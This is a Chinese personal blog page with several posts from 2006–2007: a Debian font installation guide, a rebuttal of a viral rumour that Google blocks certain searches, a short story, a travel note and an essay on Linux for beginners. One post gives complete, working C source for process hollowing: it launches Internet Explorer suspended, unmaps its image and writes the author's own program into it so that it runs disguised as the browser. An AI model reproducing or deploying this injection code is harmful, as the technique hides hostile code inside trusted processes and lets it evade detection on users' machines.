关于作者

用户名:magicsign
笔名:血衣
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



姚望的Blog

路路的Blog

狗狗的Blog

蓉蓉的Blog

欢欢的Blog

小龚的Blog

访问统计:
文章个数:56
评论个数:19
留言条数:14




Powered by BlogDriver 2.1

magicsign的博客

 

只会拧螺丝的人, 也能参加制造汽车. 关键是, 你是拧螺丝拧的出色的人.

文章

此博迁了~~~~


关注的朋友看下我的新址吧,顺便把你们的链接也改了

http://magicsign.blog.hexun.com/


不想用了,所以迁了

- 作者: 血衣 2007年06月20日, 星期三 01:29  回复(0) |  引用(0) 加入博采

一个将自己代码插入IE进程的例子

看着别人的程序想插那个进程就插那个,我也想试下,于是从网上找了几段代码,最容易理解的是下面的代码,不过原来的代码编译后在VC IDE下测试正常,但离开IDE就出错,经过测试和程序启动运行知道是因为编译后,IE尚未启动完成,程序本身已经退出是出错的原因,因些我改进了一下,贴在下面:
编译须 ntdll.lib文件(可以从http://lengie.ik8.com/test/ntdll_lib_dl.htm下载,里有Win2K,XP 32B,XP 64B三个版本,对应拷到编译器的LIB文件夹里就可以了),可将下面代码保存为 .c 文件然后编译(保存为 .cpp 文件可能会出错)

#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);


int main(void)
{
if (InjectProcess())
{
printf("This is my a test code,made by shadow3.\r\n");
}
else
{while(1){
 MessageBox(NULL,"进程插入完成","Text",MB_OK);Sleep(1000);}
}
Sleep(1000);//等待IE启动 加上这句就可以正常了,呵呵.我设的时间可能有点长
return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] ='\0';
lstrcat(szSystemDir,"\\Program Files\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}


BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);
_asm nop;_asm nop;_asm nop;_asm nop;
dwImageSize = GetSelfImageSize(hModule);
_asm nop;_asm nop;_asm nop;_asm nop;
if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess))
{
printf("CHILD PID: [%d]\r\n",pi.dwProcessId);


if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 )
{
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if ( lpVirtual )
{
printf("Unmapped and Allocated Mem Success.\r\n");
}

}
else
{
printf("ZwUnmapViewOfSection() failed.\r\n");
return TRUE;
}

if ( lpVirtual )
{
PPEB = (DWORD *)ThreadCxt.Ebx;

// 重写装载地址

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);


if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) )
{
printf("image inject into process success.\r\n");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef DEBUG
printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax);
printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx);
printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

}
else
{
printf("WirteMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

}
else
{
printf("VirtualMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(NULL, szIePath, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)||MessageBox(0,":(",":(",0))
{

 pThreadCxt->ContextFlags = CONTEXT_FULL;
 GetThreadContext(pi->hThread, pThreadCxt);
 PPEB = (DWORD *)pThreadCxt->Ebx;

 ReadProcessMemory(pi->hProcess,&PPEB[2],(LPVOID)&(pChildProcess->dwBaseAddress),sizeof(DWORD),&read);

 return TRUE ;

}
return FALSE;
}

- 作者: 血衣 2007年02月7日, 星期三 23:06  回复(0) |  引用(0) 加入博采

有感Google搜索不了钓鱼岛和南京大屠杀
             最近很多网友在QQ群里发这样一条消息:

请大家打开GOOGLE首页,搜索”南京大屠杀”或”钓鱼岛”,你们自己看看能搜出结果吗?出现的无非是:”该页无法显示”的提示,而且在以后的短时间内,你将不能使用GOOGLE进行搜索。

但是如果你先搜索”尖阁列岛”(即我中国钓鱼岛的鬼子叫法),就可以搜到结果。(我建议你先搜尖阁列岛,再搜南京大屠杀,这样不至于因为搜了南京大屠杀后,被停了网页,导致尖阁列岛也无法试了)

这摆明是对我中华人民共和国,对所有华夏儿女的蔑视!
丑恶的美国鬼子企图从互联网上对我国进行信息封锁!用心极其险恶!
请大家亲身实验一下,如果我说的对,就转发一下,让所有中国人都知道!坚决抵制googLe,用我们中国人自己的搜索引擎-百度!!! 把googLe赶出中国!

我 自己刚验证www.google.com确实不能搜索南京大屠杀,并且导致一段时间内无法登陆,现在已有很多人试过了,确实不能,可见险恶用心,所以大家应该统一起来共同抵抗GOOGLE,大家都不要用了,反对他,相信你是一个有良知,有血性的中国 人,为中国人争口气吧,发到你所有在线的朋友,让他们在发,发到你所有的群中,让在线的在发,各种论谈也可以加贴,为了让各多人知道,请大家发一下吧,不相信你可以试下,真实有效,是中国人就发吧,没有人说你,为了国家请复制吧!!! 声明:不信,你自己试试!

当你看到上面这则消息时,你的第一反应是什么?当我看到它时,我便试了一下, 果然如此。但这就是上面所说的最终原因?我却不信。因为之前有一段时间google在中国也是不能访问。后来使用google.cn来搜索,结果是可以的。我想是因为google.com的服务器在国外,不能搜。如果要搜的话,可以用google.cn,服务器放在国内的。刚试过了。没有任何问题。之所以会这样,我看了几个业界有名人士的分析,知道这是被GFW封杀了。之前GFW也封杀了不少外国的著名站点,如国际顶级博客搜索引擎Technorati(曾经)、维基百科全书。最可恶的是有一段时间居然封杀wwww.FreeBSD.com网站,当时很多人分析说是因为域名中带有Free所致,悲哀啊!!

这几年类似这样的要求大家转发的流言太多了,多数借助大家的不太正确的爱国心理来散播,效果奇好,以前很多是针对日本的,多数是激进民族主义者发出来的。这次居然把矛头指向了google。对于多数不知道金盾工程和防火长城的人来说,这样的消息相当的具有迷惑性,这些不知道情况的网民,自然也不会利用代理或者像Torpark这样的软件来突破封锁去验证一下。事实证明Google本身的搜索是毫无问题的,是国内的一些力量阻止了Google反馈信息

GFW(其英文名称Great Firewall of China,与长城 Great Wall 相谐的效果,简写为Great Firewall,缩写GFW)

防火长城,也称中国防火墙或中国国家防火墙,指中华人民共和国政府在其管辖互联网内部建立的多套网络审查系统的总称,包括相关行政审查系统。一般情况下主要指中国对互联网内容进行自动审查和过滤监控、由计算机与网络设备等软硬件所构成的系统。

对于这种在QQ群里传来传去的垃圾信息,个人认为真是无聊透了,而且我想每个人都是十分反感的。而且发给你后还要你继续传上10-20人,下次当你在看到类似这种信息时,你可以完全不予理会。如果你非要参与进去,也请你不要没经过思考就乱发一通。更不要成为容易被鼓动的一群,稍一刺激,就会爆炸。跟顺子一样,今年我在某个QQ群上也有人给我发去年4月份美国一家网站关于日本入常的调查投票,要我赶紧去投票,我打开网页一看,天啊,虽说全是英文,但也完全可以看的出那时2005年的一份调查投票。我当时可真是狂晕,便跟发信息的那位朋友解释说你是搞错了吧。没想到人家劈头的一句话就是:“我也不知道啊,人家给我发的,我就转发了。”当时我只能苦笑。想当个愤青没人阻挡你,但千万别当个弱智的愤青。

最后以一句话来与各位网友共勉:不玩失去理智的游戏

- 作者: 血衣 2006年10月23日, 星期一 10:19  回复(3) |  引用(0) 加入博采

Debian安装文泉驿字体

最近安装了Debian,花几个小时才搞定上网和中文化。在此感谢李家欢同学的技术支持,顺便B4下他一贯只语言指导从不手动操作的风格。

文泉驿点阵宋体(中等,粗体)被打包成三种等价的格式:BDF(Bitmap Distribution Format),PCF (Portable Compiled Format)和TTF(True-Type)。

PCF/BDF格式字体的安装方法

1.下载

首先需要下载安装包,下载页面为:

http://sf.net/project/showfiles.php?group_id=128192&package_id=156288

选择最新发布的版本和想要的格式,然后把安装包保存到一个临时的目录,比如 /tmp

2.解压缩

下载的包一般是用tar和gzip所压缩的,使用下面的命令来解压缩

  gunzip wqy-bitmapfont*.tar.gz
  tar xvf wqy-bitmapfont*.tar

或者

  tar zxvf wqy-bitmapfont*.tar.gz

3.移动

所有的文件都将被解压缩到目录一个叫作wqy-bitmapfont的子目录, 可以把这个目录移动到想安装字体的目录,我是放在 /usr/share/fonts/Chinese/wqy-bitmapfont

为了移动目录,需要使用"su"或者"sudo"来获取root权限。(如果没有root权限,请查看下面的第六小节)

4.设置字体路径

现在需要告诉X窗口系统去找所安装的字体,假设把字体安装到了这个目录 /usr/share/fonts/Chinese/wqy-bitmapfont/ 需要运行如下的命令:

   cd /usr/share/fonts/Chinese/wqy-bitmapfont/
   rm fonts*
   mkfontdir .
   cp fonts.dir fonts.scale
   xset +fp /usr/share/fonts/Chinese/wqy-bitmapfont/

最后一个命令是把字体目录添加到X窗口字体路径列表。为了永久性的添加这个目录,需要把下面一行

 "/usr/share/fonts/Chinese/wqy-bitmapfont,"

添加到/etc/X11/fs/config这个文件中,添加的位置是 "catalogue =/usr/lib/X11/fonts/misc/"这一行的下面。

如果系统中没有这个文件,可能需要通过修改/etc/X11/xorg.conf 或者/etc/X11/XF86Config-4来添加这个目录

  ......
  Section "Files"
      ......
      FontPath    "unix/:7100"
      ......
      #增加下面一行
      FontPath    "/usr/share/fonts/Chinese/wqy-bitmapfont"
  EndSection
  ......

到这里为止,已经完成了对X核心字体的配置工作。大多数不太老版本的Linux图形程序都支持fontconfig。为了让fontconfig使用这个点阵字体,要执行

   fc-cache -f -v

现在重新启动一下X窗口,应该可以在字体选择框中看到文泉驿点阵宋体的名字了。

5.测试

为了检测字体是否成功安装,可以使用下面的命令

   /usr/X11R6/bin/xlsfonts | grep wenquanyi 

会看到类似下面的输出:

   -wenquanyi-wenquanyi bitmap song-bold-r-normal--0-0-75-75-p-0-iso10646-1
   -wenquanyi-wenquanyi bitmap song-bold-r-normal--12-120-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-bold-r-normal--13-130-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-bold-r-normal--15-150-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-bold-r-normal--16-160-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-medium-r-normal--0-0-75-75-p-0-iso10646-1
   -wenquanyi-wenquanyi bitmap song-medium-r-normal--12-120-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-medium-r-normal--13-130-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-medium-r-normal--15-150-75-75-p-80-iso10646-1
   -wenquanyi-wenquanyi bitmap song-medium-r-normal--16-160-75-75-p-80-iso10646-1

如果是fontconfig,要检查

   fc-list | grep 'WenQuanYi'

应该能看到两行输出,类似如下:

   WenQuanYi Bitmap Song:style=Bold
   WenQuanYi Bitmap Song:style=Regular

字体成功安装之后就可以在KDE或者GNOME的字体选择对话框中选择使用文泉驿点阵宋体。

如果在系统里面同时安装有中文矢量字体,当使用浏览器浏览网页时,系统可能会优先使用这些矢量字体。可以从preference\font选项里面设置,或者临时删除的矢量字体,从而激活这个点阵。我们正在为寻找通过fontconfig来让点阵和矢量字体共存的方案。

6.作为普通用户安装

如果没有root用户权限,比如,使用的是公共的机器,那么安装这个字体也是同样的简单。如果使用的是KDE,在菜单上面找到“控制中心”,选择“系统管理”,然后点击“安装字体”,在面板上点击右键,选择“添加字体”,然后选择字体文件(bdf/pcf)。

如果使用的是Gnome环境,双击“我的电脑”,在地址栏输入"fonts:/"然后回车,然后再打开另外一个文件浏览器,找到字体文件(bdf/pcf),把字体拖到文件夹fonts:/ 或者使用复制粘贴。

如没有启动图形界面,也可以直接把字体文件解压缩到~/.fonts目录(如果没有这个目录,就创建一个)。

7.在系统上面打开中文支持

有了中文字体,系统正确处理中文信息还需要有正确的中文编码和区域设置。这些通常可以通过安装一些语言包来实现,比如sudo apt-get install kde-i18n-Chinese* 如果已经安装了这些语言包,还需要设置一些环境变量。可以把

 LC_CTYPE=zh_CN.UTF-8

写到~/.i18n文件中(如果这个文件不存在,可以使用touch ~/.i18n来创建它),然后重新启动系统(也可以使用"ls -d /usr/lib/locale/zh_*" 这个命令所输出的其它的locales)。

为了在终端显示中文信息,可以使用"LC_CTYPE"替换"LC_ALL"。如果希望所有的菜单都使用中文,在KDE环境下面,找到”控制中心“,展开"Region and Assistance",找到 “国家/地区 和语言,在”添加语言里面选择“中国”;如果使用的是Gnome环境,需要在“选项”里面选择“语言”,然后添加“中国”。然后如果需要的话重新启动图形界面来使用这些设置。

TTF格式字体的安装方法

TTF格式的字体可能不是很容易安装。这个字体采用了一种比较特殊的TTF格式,即SFNT TTF 格式。这种字体中只有点阵部分,而没有矢量部分。幸运的是,FreeType2支持这种格式;不幸的是,很多字体设置的工具却不能正确识别这种字体中的信息,比如ttfmkdir和 fc-cache。我们在下载的TTF安装包里面已经包含了手工编辑的字体设置文件,即 fonts.dir/fonts.scale/fonts.cache-1。通过如前所述的方法设置好字体路径之后,如果你使用fc-cache -fv等命令之后,这些手工书写的文件将会被错误信息覆盖。所需要作的是进入字体安装的目录,然后解压一个叫作font.config.tar.gz的文件,这样将会将恢复曾经备份过的字体信息。有时候在解压之后,可能还需要touch *一下,并重新启动X窗口。

RPM安装包的安装方法

如果使用的是Redhat/Fedora Core等发行版,那么可以直接使用RPM包进行安装,安装方法非常简单,只用一个命令:

 sudo rpm -Uvh wqy-bitmapfont*noarch.rpm

重新启动X窗口之后,就应该可以找到新安装的字体了。

其他问题

由于debian 3.1(sarge)及其更新版本在默认的情况下不使用纯粹的点阵字体,到/etc/fonts/conf.d/ 这个目录下面有一个链接文件,默认的情况下只有一个,unlink掉,这样就可以使用纯粹的点阵字体了

- 作者: 血衣 2006年09月26日, 星期二 12:57  回复(2) |  引用(0) 加入博采

我就是那个多年以前的女子

我老婆的文章,写得不错哦~~~   

   多年以前,娘用清澈而忧怨的目光望着我。在她温柔的注视下,我的躯壳和灵魂仿佛已经分离,在苍茫温润的薄雾中化为微尘,然后被微凉的夜色拉扯成另外一个模糊的影子。
娘的眼睛轻轻颤动了一下。
      她猛地伸手抱住了我。
      夷光,我要去找你的爹爹。往后,你要好好照顾自己。
      我不能陪你了。
      她一松手,轻身跃入了 河,仿佛一条残喘于岸边的鱼,意外四重回水中,带着一种惊喜却夹杂着细碎的不安。
      我哭泣着伸出小小的无助的手,只抓住了一声叹息。
      我的心里,微微的叹息。
      那一年,我六岁。

     娘曾经说,一个女子一辈子总会心甘情愿和一个男人走的。她和他将走过贫苦和孤独,最终,一起触碰烫手的幸福。
      现在娘追随爹爹而离开了我了。
      爹爹一定带着娘永别了充满伤痛的生活。
      他们都走了,我留下了。
      我在这世上再无至亲。
    
多年以前。
      我在河边赤足浣纱。
     “ 春已暮兮,浣纱浣纱泪成河兮。黄丝绵绵青竿兮,白云依依逐绿波兮。何日得为奴家衣兮,江风伴我舞且歌兮……”
      这是娘教我的浣纱曲。她曾经也是美丽善良的浣纱女。
      此刻,她一定握着爹爹的手,在某一个地方听我唱歌。
      我已经看见了她温柔的笑容,浅浅笑意。
    
“姑娘歌声很美。”
      水中出现了一个葛衣男子的倒影,风度翩翩。
      莫名地,我心里轻轻的一声叹息。
      “姑娘人比歌声更美。”
      我低下头,瞥见水中自己的倒影沉鱼落雁。
      我淡淡一笑。
      “你就是西施吧?”
      我缓缓转过身。
      一抬头,便望见他温柔而宁静的目光,暖暖的笑容。
      儒雅从容,玉树临风。
      是我等待的人吗?我悄悄问自己。
      我心里最深处的某根璇,隐隐地颤动了一下,再一下。
      “我是西施,小名夷光。”
      “跟我走吧!”他眼神坚毅。
       我微微一笑,倾国倾城。
    
我默默回头望了一眼脚下流淌着的河水。
    流淌着娘的灵魂,流淌着她对爹的无尽思念。
     我决定离开。
      该离开了。
       一个女子,总要跟一个“他”走的。
     他是范蠡,替越王寻美女献给吴王。
      他说他要把我长留在他身边,做他温柔贤淑的妻。
      我微笑着缝制我的嫁衣,我将成为最美丽的新娘。
      我听见了娘欣慰的笑。
      她说,我一伸手,就可以触碰到烫手的幸福。

     忽然有一天,他握着我的手,急切的说:“夷光,你可以去吴国吗?王说,新选上的美人不够美......越国不可以亡......我会接你回来......我会照顾你一辈子......”
      我可以为你去死,范蠡!
      猛地,手里的针一下刺进指尖,涌出一滴血,和嫁衣一样鲜艳,像光芒一样刺目,我的眼睛被灼伤了,泪眼模糊。
      我不要我美丽,我只要我的漂亮的嫁衣。
      我的嫁衣,鲜红的嫁衣,依在冰凉的地上,低低地叹息。    

多年以前。
  我轻轻抚摩着夫差疲惫的脸。他偎在我怀里,像个熟睡的孩子。
       如果,当初我穿上了鲜艳的嫁衣,我和范蠡的孩子,此时,也会依偎在我怀里,睡得宁静而幸福。
       我抚着他浅浅的皱纹,一道,一道。
       好象,按着心里深深的伤痕,一道,一道。
       我们都累了。
       伍子胥死了。夫差的眼里,藏着深深的遗憾和悲哀。
       我柔软的心里,裹着深深的哀痛和悲哀。
       我们都是凶手。
       我不过是个工具,一个杀人的工具,一个亡国的工具。
       清冷空荡的大殿中,我一人独舞。舞姿婀娜,舞影凌乱。
       偌大的偌娃宫,只残存冰凉的死亡的气息,以及燥热的野兽的血腥味。
       我感到窒息。
       我要回家。
       何处是我家?
       范蠡的密信中说,越国今年歉收,须向吴国借谷。
       粮食是一国之本,越国从此处下手,想必姑苏城外的烽火台上该准备烽火了。
       我的任务,也快结束了吧?
       快结束吧!
       华美的大殿上,我向夫差跪借万石谷子,并担保越国明年还粮。
       夫差怜惜地望着我,不顾大臣们的反对,立刻答应了借粮。
       他的眼里只有我,连国家都不要了。
       而我,将决然离开他,不会有丝毫留恋。
       我为他,为我自己,感到从未有过的彻骨寒冷。
       越国以“蒸谷代种”之计,把蒸熟后的万石谷子还给了吴国。
       善良而无知的吴国人兴高采烈地种下了这些绝望的种子。
       他们将在收获的季节里收获饥饿和越国铁骑。
       我抚弄着指头颤动下的琴弦。
       它们很锋利地割破了我纤细的手指,割碎了我柔软的心。
       我默默等待着终结。
       多年以前。
       成千上万的人民因为饥饿倒在荒芜的地上。他们的尸骨成为蜂拥而入的越兵进攻的阶梯。
       越兵的长矛,准确地刺入了姑苏城,吴国的心脏。
  夫差日益苍老,在混杂着汗臭与血腥的大殿上日夜不休地指挥战斗。
    我静静地坐在一旁,温柔地望着他辛苦地布置着徒劳的反攻。
      偶尔,他忧伤地注视着我。
      他说,西施,往后,你要好好照顾自己。
      我不能陪你了。
      他沉重地倒下,手中握着伍子胥当年自杀时用的剑。
      空旷森冷的大殿,仿佛一朵刚凋谢的牡丹,高贵而没落,无奈地面对死亡。
      我听见了自己缓缓的一声叹息。
      身边摇曳不定的灯草光,闪动着一个又一个越兵匆匆的背影。
      忽然,一个熟悉的温暖的声音在我耳畔轻柔地跳动。
     “夷光,我接你回家。”

  多年以前。
  马车载着我和范蠡消失在一片又一片郁郁的丛林里。
  狡兔死,走狗烹。
  范蠡知道他把我带回去后会有怎样一种结果。
  我们真的累了。
  我们要回家。
      我伸手拨开沉沉的帘子,回头望见依稀可辨的金色宫殿。
      那些不是宫殿,而是丑陋阴冷的瓦砾,一堆,又一堆。
      这是西施的终结。
      我是夷光。
    我就是那个多年以前的女子。

 

- 作者: 血衣 2006年09月18日, 星期一 21:50  回复(1) |  引用(0) 加入博采

回家了

两天时间,终于到家了

到北京的时候差点买不到票,一问连站票都没了,晕。正想走,结果那位卖票大姐说别人刚退了两张卧铺,哈哈----仰天长笑,天命啊!!于是睡回家了。这里说件小事,让我感动。买票时前面有个二十岁左右的小姑娘,将要到她时她回头对我说一句:我买票时帮我照看一下行李好吗?  嗯---难道我这么让人觉得有安全感吗,自然是满口答应,然后好她买[完票对我道声谢走了,结果我也买到卧铺。当时觉得挺感动,在我认为最乱最烂的北京火车站,人与人之间还能互相信赖,真是难得。抑或是我让人有信赖感??

不说了,到家了,休息两天...

- 作者: 血衣 2006年07月13日, 星期四 22:59  回复(4) |  引用(0) 加入博采

一个Linux学习高手写给初学者的话

现在好多的人开始接触电脑的时候,见到的应该是Windows98,说实话98已经是一个很人性化,封装的很好的一个系统,一个对电脑一窍不通的人都能很快的使用它。这样很多人对"电脑"的印象和那些和我一样一开始接触的是DOS人是绝然不同的。在DOS时代,如果你对电脑的基础知识不懂的话是玩不动它的,不像现在好多人CPU是什么都不知道,却能够 是Flash 高手,倾倒MM无数。如果你是这样的人,你要学Linux,你有一段回头路要走,为什么,看下去。

  我们先看看MS操作系统的发展,他有两套内核MSDOS--->DOS+Win3.2-->Win9X \

  --->WinXP WindowsNT3.1---NT4.0-->Win2000 /

  他的发展是从DOS这个纯字符界面的系统发展到一个由字符界面的内核加上一个图像界面的应用程序(Win3.2)再到结合把两个合为一体的Win95,到现在再并上一开始就是图形界面的NT成为

  WindowsXP,他未来的野心就是并上internet成为 .net现在我们来看LinuxLinux只是个内核!这点很重要,你必须理解这一点。

  只有一个内核是不能构成一个操作系统的。现在的linux操作系统如redhat,蓝点,红旗等,都是用这么一个内核,加上其它的用程序(包括X)构成的。任何一个叫做操作系统的东西都是这样子构成的:内核+用户界面+一般应用程序。

  现在我就拿MS的系统和linux的系统的互相对应来让大家更多的认识Linux如果你装过DOS,那你一定知道安装完成之后整个硬盘是这样根目录下有io.sys msdos.sys command.com config.sys autoexec.bat5个文件,以及C:\dos这个目录,很简单。其中io.sysmsdos.sys就是系统的内核,command.com是用户界面(shell)config.sysautoexec.bat是配置文件,C:\DOS目录下面的是一般应用程序系统启动时首先装入io.sys,再根据配置文件的设置装入msdos.syscommand.com,然后就出现提示符,现在你就能输入命令了。如copy c:\aaa.txt d:\aaa.txt 来拷贝文件。也你能够使用C:\dos目录下的一些应用程序来完成工作,如用edit编辑文件,用Qbasicbasic程序。

  接下去你安装了一个叫做Foxpro2.6的程序,这个程序可以让你做一些数据库方面的工作,然后你在安装了一个叫做windows3.2中文版的程序,这个程序可厉害了,你现在不用在命令行下打命令了,可以用鼠标来操作了,打开文件管理器,打开C 再打开另一个窗口D,用鼠标一拉就能完成copy c:\aaa.txt d:\aaa.txt这个命令,你只是动了几次食指和现在在windows98下没么两样。

  OK goto linux安装好linux之后根目录下有bootbinsbinetcusr/bin,等几个目录

  boot下有vmlinuz这个文件,这个就是内核,就是目前世界上最厉害的黑客linus带头写的那个东东。

  bin下有sh,这个就是shell==command.com,用户界面)因为UNIX系统是没有内部命令这个说法的,准确地说/bin+/sbin == Command.com/etc == config.sys + msdos.sys剩下/usr/bin == c:\dos

  当然。因为LinuxDos庞大得多,所以,reahat和红旗或者有不同的安排方法,各种目录下的东西并不规则。linux的启动同样是装载vmlinuxz,然后装载sh(或者其他的shell,如bash),出来提示符。现在你同样能输入命令了。如cp /aaa.txt /tmp/aaa.txt。同样可以用vi编辑文件,用gcc编译程序

  接下去你安装了一个叫做MySQL的程序,这个程序可以让你做一些数据库方面的工作,然后你再安装了一个叫做kde4.0的程序,这个程序可厉害了,你现在不用在命令行下打命令了,可以用鼠标来操作了,打开文件管理器,打开/ 再打开另一个窗口/tmp,用鼠标一拉就能完成cp /aaa.txt /tmp/aaa.txt这个命令,你只是动了几次食指和现在在windows98下没什么两样

  看到这里希望你明白我为什么说你在走回头路,因为目前的Linux操作系统==MSWin3.2MS系统已经走过了9X,现在是XP了,整整落后了两代。当然,这是从用户界面上来说的,但也恰恰是很多人装个Linux之后就是在Xkde上搞东搞西,而其它的什么都搞不起来,为什么搞不起来因为你没搞过DOS,你根本就不知道系统还可以有这样的搞法。你一开始接触的就是98,电脑给你的感觉就是用鼠标来操作的东西,你认为同样是操作系统,Linux也应该是这样的东西。你根本就没有想过你一直以为你在玩的是Linux,但实际上你玩的只不过是一个运行在Linux系统上的程序而已。因此很多人装完搞了几天说,靠,Linux不过如此。这话可以说对也可以说不对Linux嘛,你都还没见到是什么样子,你有什么资格说它怎样呢?但kde嘛,就真的确实不过如此,你用过98吧,现在你去用用3.2看看,你有什么

  感觉?从稳定性来说,我不拿98比了,拿95,如果同样的工作,95一天崩溃1次的话,那X会崩溃10次,如果是2000的话,2000一天崩溃1次,X会崩溃100次。和3.2是差不多的。但为什么还是会听说比如某些好莱坞的电影特技是在Linux上完成的呢?为了出席一次重要宴会,你可以去买一套名牌西装,也可以去订做一套,订做的当然更加合身更加好看,但价格也更贵,工作量也更大名牌西装==Windows系统定做西装==Linux系统+修改系统内核+修改X代码+修改kde代码+专门写的特技软件你现在装的那套西装是街边货,也就是reahat服装厂为了适应全世界所有人的身材批量生产的东东。明白了吧?如果你明白,那你也就明白了LinuxWindow好的一个方面了,我也就不用废话,那么为什么Linux往往会和黑客撤上关系呢?记得我看过一本书这么写,"Linux是由一个叫linus的黑客及互联网上很多的黑客共同编写而成"。所以,一个由黑客写成的系统怎么会和黑客没有关系呢?当然这个黑客的定义和现在很多中国人心中的"黑客"的定义是绝然不同的前者是几乎从未入侵过其他系统,而后者是入侵过就是了。

  如果你是一个美术工作者,你也是几乎除了睡觉就在用电脑,你时时都开着photoShop在那里搞啊搞,在美术这个行业,你也算得上是这个行业里的高手了。但你根本就不关心你所做的,电脑里面到底是怎么帮你完成的。电脑不过是你创作的一个工具。就像音乐是很多人喜欢听的,但你根本不关心你所听到的音乐,她从原来歌星嘴里发出来到被你来欣赏,她到底是怎么个回事。但对一HIFI发烧友而言,她关心的就只是这些。现在回到我刚刚说到了copy命令,对于一个黑客而言,她根本不关心aaa.txt这个文件里面的内容,她关心的是从C:\aaa.txtd:\aaa.txt这个过程中,电脑它到底干了什么?现在我问一下正在看这个帖子的人:把一个文件从一个地方拷贝到另一个地方这个事情你肯定是做过的对吧?但当你这样做的时候,你是否有想过电脑内部它是怎样来完成你的这个操作的呢?如果你的回答是:哎呀,我倒真的从未想过耶~~那么,你根本没有黑客的天分,你还是到轻松一刻混比较有前途。

  寻根问底是黑客的天性,在这点上,Linux可以满足,但windows不能,你在dos上按下copy C:\aaa.txt d:\aaa.txt。复制的任务是完成了,但电脑作了什么你知道么?你只能根据你的经验的积累,大概的判断系统怎么完成,在你没看过copy的源代码之前你根本没法确定你的判断是否正确的。但UNIXcp的源代码基本上是随手就能拿到。

  TCP/ip方面,linxu可以让你一杆子捅到内核中去,但windows你只能捅到winsockapache和系统的具体交流你可以一清二楚,但IIS和系统的交流你却不可能知道Linux和黑客的关系是在这里,和入侵是一点关系都没有的。很多远程漏洞的攻击程序是要在unix系统上编译的这没错,但是那些程序本来的意义就是举个例子让你看好过说,你看得懂的话,改一改在Win上同样可以编译。

  UNIXWindows相比有太多的优点,也有太多值得你去弄的地方,只是我说不出来就像你深爱一个人的时候,你根本没法说出你爱他什么,她有什么地方值得你去爱但,Windows不是垃圾,绝对不是,作为一个工具来使用,她比UNIX好上几百倍似乎你现在都该明白为何很多远程漏洞的攻击程序是以unix的习惯写的,因为能够发现这个漏洞,说明他对系统相当的熟悉,而且是UNIX让他对系统相当的熟悉,他不自觉地就是用了UNIX的那一套,不过,它的这些代码却很大的可能是用UltraEditwindows系统下敲的。

